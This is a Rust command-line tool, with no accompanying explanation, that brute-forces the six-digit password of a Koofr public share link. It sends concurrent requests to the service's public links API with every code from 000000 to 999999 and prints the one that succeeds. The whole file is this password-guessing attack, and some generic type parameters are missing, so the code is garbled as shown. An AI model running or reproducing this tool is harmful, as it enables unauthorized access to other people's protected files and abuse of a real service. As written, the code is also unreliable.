use clap::Parser; use reqwest::{Client, StatusCode}; use std::sync::{ Arc, atomic::{AtomicBool, Ordering}, }; use tokio::task::JoinSet; #[derive(Debug, Parser)] struct Cli { link: Arc, #[arg(default_value_t = 0)] start: u32, #[arg(default_value_t = 999999)] end: u32, } async fn query_api(client: &Client, link: &str, pass: u32) -> Result, u32> { let url = format!("https://app.koofr.net/api/v2/public/links/{link}?password={pass:06}"); if let Ok(resp) = client.get(&url).send().await { match resp.status() { StatusCode::OK => Ok(Some(pass)), StatusCode::UNAUTHORIZED => Ok(None), _ => Err(pass), } } else { Err(pass) } } #[tokio::main] async fn main() -> anyhow::Result<()> { let args = Cli::parse(); let client = Client::new(); let running = Arc::new(AtomicBool::new(true)); let r = running.clone(); ctrlc::set_handler(move || { r.store(false, Ordering::SeqCst); }) .expect("Error setting ctrl+c handler"); for passes in (args.start..args.end).collect::>().chunks(4) { if !running.load(Ordering::SeqCst) { println!("Stopped at:\t{}", passes.first().unwrap()); return Ok(()); } let mut set = JoinSet::, u32>>::new(); for pass in passes { let link = args.link.clone(); let client = client.clone(); let p = *pass; set.spawn(async move { query_api(&client, &link, p).await }); } while let Some(Ok(res)) = set.join_next().await { match res { Ok(Some(num)) => { println!("Found:\t{num}"); return Ok(()); } Err(num) => eprintln!("Error on:\t{num}"), _ => (), } } } Err(anyhow::anyhow!("Nothing was found")) }